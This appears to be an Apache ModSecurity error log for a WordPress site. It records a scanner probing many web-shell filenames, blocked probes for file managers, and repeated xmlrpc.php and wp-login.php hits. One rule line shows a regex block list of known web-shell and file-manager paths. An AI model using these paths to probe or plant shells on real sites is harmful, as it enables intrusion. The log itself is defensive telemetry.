[Thu Apr 16 21:46:21.644242 2026] [:error] [pid 49094:tid 49101] [client 20.100.190.76:62180] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeDoLTbDwvcXorHR_MzwcwAAAUU"]
[Thu Apr 16 21:46:28.697702 2026] [:error] [pid 57537:tid 57596] [client 20.100.190.76:56459] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeDoNFVQRS8nm73ENAm9cAAAAFU"]
[Thu Apr 16 21:46:31.196617 2026] [:error] [pid 57537:tid 57578] [client 20.100.190.76:57001] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeDoN1VQRS8nm73ENAm9dAAAAEM"]
[Thu Apr 16 21:46:33.033826 2026] [:error] [pid 57639:tid 57670] [client 20.100.190.76:13902] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeDoOaMCQoTw7TsxWunD4gAAANg"]
[Thu Apr 16 21:46:34.073747 2026] [:error] [pid 57639:tid 57665] [client 20.100.190.76:52540] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeDoOqMCQoTw7TsxWunD7wAAANM"]
[Thu Apr 16 21:46:35.517261 2026] [:error] [pid 49094:tid 49111] [client 20.100.190.76:50982] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeDoOzbDwvcXorHR_MzwjQAAAU8"]
[Thu Apr 16 21:46:37.040397 2026] [:error] [pid 7880:tid 7895] [client 20.100.190.76:37335] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeDoPaaezm4fSGc0yUK1pwAAAYo"]
[Thu Apr 16 21:46:38.498110 2026] [:error] [pid 57536:tid 57552] [client 20.100.190.76:56460] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeDoPiQU4faGja6jpDuL7AAAAAQ"]
[Thu Apr 16 21:46:40.376941 2026] [:error] [pid 57536:tid 57559] [client 20.100.190.76:61723] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeDoQCQU4faGja6jpDuL9gAAAAs"]
[Thu Apr 16 21:46:42.689828 2026] [:error] [pid 49094:tid 49101] [client 20.100.190.76:57009] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeDoQjbDwvcXorHR_MzwkwAAAUU"]
[Thu Apr 16 21:46:45.315363 2026] [:error] [pid 57538:tid 57608] [client 20.100.190.76:57649] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeDoRcuMaiEF5SVR2BfqewAAAIY"]
[Thu Apr 16 21:46:47.784961 2026] [:error] [pid 57639:tid 57657] [client 20.100.190.76:62164] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeDoR6MCQoTw7TsxWunEJAAAAMs"]
[Thu Apr 16 21:46:49.247012 2026] [:error] [pid 49094:tid 49115] [client 20.100.190.76:40856] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeDoSTbDwvcXorHR_MzwngAAAVM"]
[Thu Apr 16 21:46:50.444977 2026] [:error] [pid 29603:tid 29617] [client 20.100.190.76:50951] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeDoSlfGOR6fpTWUAzqfbgAAAQw"]
[Thu Apr 16 21:46:52.802630 2026] [:error] [pid 57639:tid 57651] [client 20.100.190.76:62176] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeDoTKMCQoTw7TsxWunEPAAAAMU"]
[Thu Apr 16 21:46:55.765999 2026] [:error] [pid 7880:tid 7902] [client 20.100.190.76:61703] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeDoT6aezm4fSGc0yUK1uAAAAZE"]
[Thu Apr 16 21:46:57.344957 2026] [:error] [pid 29603:tid 29617] [client 20.100.190.76:53089] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeDoUVfGOR6fpTWUAzqfggAAAQw"]
[Thu Apr 16 21:47:00.585152 2026] [:error] [pid 49094:tid 49102] [client 20.100.190.76:50971] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeDoVDbDwvcXorHR_Mzw3AAAAUY"]
[Thu Apr 16 21:47:03.009004 2026] [:error] [pid 49094:tid 49103] [client 20.100.190.76:63275] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeDoVzbDwvcXorHR_Mzw5wAAAUc"]
[Thu Apr 16 21:47:04.251917 2026] [:error] [pid 57536:tid 57560] [client 20.100.190.76:57620] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeDoWCQU4faGja6jpDuMKQAAAAw"]
[Thu Apr 16 21:47:06.382731 2026] [:error] [pid 57538:tid 57618] [client 20.100.190.76:53087] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeDoWsuMaiEF5SVR2BfqrQAAAJA"]
[Thu Apr 16 21:47:07.532882 2026] [:error] [pid 57536:tid 57553] [client 20.100.190.76:57654] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeDoWyQU4faGja6jpDuMLwAAAAU"]
[Thu Apr 16 21:47:09.167593 2026] [:error] [pid 57639:tid 57647] [client 20.100.190.76:37364] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeDoXaMCQoTw7TsxWunEYAAAAME"]
[Thu Apr 16 21:47:13.347855 2026] [:error] [pid 57639:tid 57650] [client 20.100.190.76:46571] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeDoYaMCQoTw7TsxWunEcQAAAMQ"]
[Thu Apr 16 21:47:14.642956 2026] [:error] [pid 57639:tid 57649] [client 20.100.190.76:61747] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeDoYqMCQoTw7TsxWunEgAAAAMM"]
[Thu Apr 16 21:47:16.348299 2026] [:error] [pid 57639:tid 57647] [client 20.100.190.76:50956] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeDoZKMCQoTw7TsxWunEhgAAAME"]
[Thu Apr 16 21:47:33.195305 2026] [:error] [pid 57538:tid 57623] [client 20.100.190.76:46547] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "aeDodcuMaiEF5SVR2Bfq7gAAAJU"]
[Thu Apr 16 21:47:35.203407 2026] [:error] [pid 57639:tid 57670] [client 20.100.190.76:10984] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "aeDod6MCQoTw7TsxWunFIAAAANg"]
[Thu Apr 16 21:47:36.948522 2026] [:error] [pid 57639:tid 57664] [client 20.100.190.76:47635] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "aeDoeKMCQoTw7TsxWunFNwAAANI"]
[Thu Apr 16 21:47:38.640469 2026] [:error] [pid 57639:tid 57660] [client 20.100.190.76:41674] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gaza.php"] [unique_id "aeDoeqMCQoTw7TsxWunFRgAAAM4"]
[Thu Apr 16 21:47:39.817374 2026] [:error] [pid 49094:tid 49116] [client 20.100.190.76:50556] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "aeDoezbDwvcXorHR_MzxWgAAAVQ"]
[Thu Apr 16 21:47:44.613417 2026] [:error] [pid 49094:tid 49096] [client 20.100.190.76:42624] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "aeDogDbDwvcXorHR_MzxawAAAUA"]
[Thu Apr 16 21:47:49.245854 2026] [:error] [pid 57538:tid 57613] [client 20.100.190.76:14114] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "aeDohcuMaiEF5SVR2BfrAwAAAIs"]
[Thu Apr 16 21:47:50.325007 2026] [:error] [pid 57538:tid 57616] [client 20.100.190.76:42711] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "aeDohsuMaiEF5SVR2BfrCwAAAI4"]
[Thu Apr 16 21:47:50.897006 2026] [:error] [pid 57536:tid 57552] [client 77.65.214.113:37084] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDohiQU4faGja6jpDuMjAAAAAQ"]
[Thu Apr 16 21:47:51.626332 2026] [:error] [pid 57536:tid 57554] [client 20.100.190.76:58308] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "aeDohyQU4faGja6jpDuMkgAAAAY"]
[Thu Apr 16 21:47:53.375500 2026] [:error] [pid 57639:tid 57662] [client 20.100.190.76:14093] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "aeDoiaMCQoTw7TsxWunFhgAAANA"]
[Thu Apr 16 21:47:54.579947 2026] [:error] [pid 57538:tid 57621] [client 20.100.190.76:45409] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "aeDoisuMaiEF5SVR2BfrJwAAAJM"]
[Thu Apr 16 21:47:55.885856 2026] [:error] [pid 57538:tid 57619] [client 20.100.190.76:61405] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "aeDoi8uMaiEF5SVR2BfrLAAAAJE"]
[Thu Apr 16 21:47:56.823292 2026] [:error] [pid 57639:tid 57663] [client 51.38.230.115:49624] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDojKMCQoTw7TsxWunFoQAAANE"]
[Thu Apr 16 21:47:57.581930 2026] [:error] [pid 57536:tid 57562] [client 20.100.190.76:63331] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeDojSQU4faGja6jpDuMqgAAAA4"]
[Thu Apr 16 21:47:58.938222 2026] [:error] [pid 49094:tid 49097] [client 20.100.190.76:60258] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeDojjbDwvcXorHR_MzxgwAAAUE"]
[Thu Apr 16 21:48:00.277115 2026] [:error] [pid 7880:tid 7892] [client 20.100.190.76:14084] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeDokKaezm4fSGc0yUK2MgAAAYc"]
[Thu Apr 16 21:48:01.066691 2026] [:error] [pid 57639:tid 57649] [client 20.100.190.76:52557] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeDokaMCQoTw7TsxWunFswAAAMM"]
[Thu Apr 16 21:48:02.038985 2026] [:error] [pid 29603:tid 29619] [client 20.100.190.76:46639] [client 20.100.190.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aeDoklfGOR6fpTWUAzqfvQAAAQ4"]
[Thu Apr 16 21:48:24.387725 2026] [:error] [pid 57639:tid 57650] [client 80.239.207.207:58572] [client 80.239.207.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.239.207.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDoqKMCQoTw7TsxWunGFgAAAMQ"]
[Thu Apr 16 21:49:09.446377 2026] [:error] [pid 57538:tid 57606] [client 77.65.214.113:44206] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDo1cuMaiEF5SVR2Bfr3wAAAIQ"]
[Thu Apr 16 21:53:59.863419 2026] [:error] [pid 57538:tid 57617] [client 157.66.26.248:35468] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDp98uMaiEF5SVR2BfsygAAAI8"]
[Thu Apr 16 21:54:18.406197 2026] [:error] [pid 49094:tid 49115] [client 178.128.71.32:53486] [client 178.128.71.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.71.32, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeDqCjbDwvcXorHR_Mz06wAAAVM"]
[Thu Apr 16 21:54:19.977773 2026] [:error] [pid 49094:tid 49119] [client 178.128.71.32:54850] [client 178.128.71.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.71.32, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeDqCzbDwvcXorHR_Mz0-AAAAVc"]
[Thu Apr 16 22:04:33.616423 2026] [:error] [pid 57538:tid 57619] [client 96.46.48.39:41038] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDsccuMaiEF5SVR2Bfu5wAAAJE"]
[Thu Apr 16 22:06:32.697854 2026] [:error] [pid 49094:tid 49111] [client 52.226.240.29:5762] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDs6DbDwvcXorHR_Mz7WgAAAU8"]
[Thu Apr 16 22:10:18.377029 2026] [:error] [pid 29603:tid 29624] [client 178.128.71.32:52970] [client 178.128.71.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.71.32, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeDtylfGOR6fpTWUAzqmTQAAARM"]
[Thu Apr 16 22:12:07.639056 2026] [:error] [pid 57538:tid 57610] [client 138.197.129.229:34556] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDuN8uMaiEF5SVR2BfvwAAAAIg"]
[Thu Apr 16 22:15:27.805045 2026] [:error] [pid 49094:tid 49109] [client 5.42.124.21:48164] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDu_zbDwvcXorHR_Mz_JQAAAU0"]
[Thu Apr 16 22:15:52.166821 2026] [:error] [pid 7880:tid 7905] [client 123.30.233.48:47200] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDvGKaezm4fSGc0yUK-NQAAAZQ"]
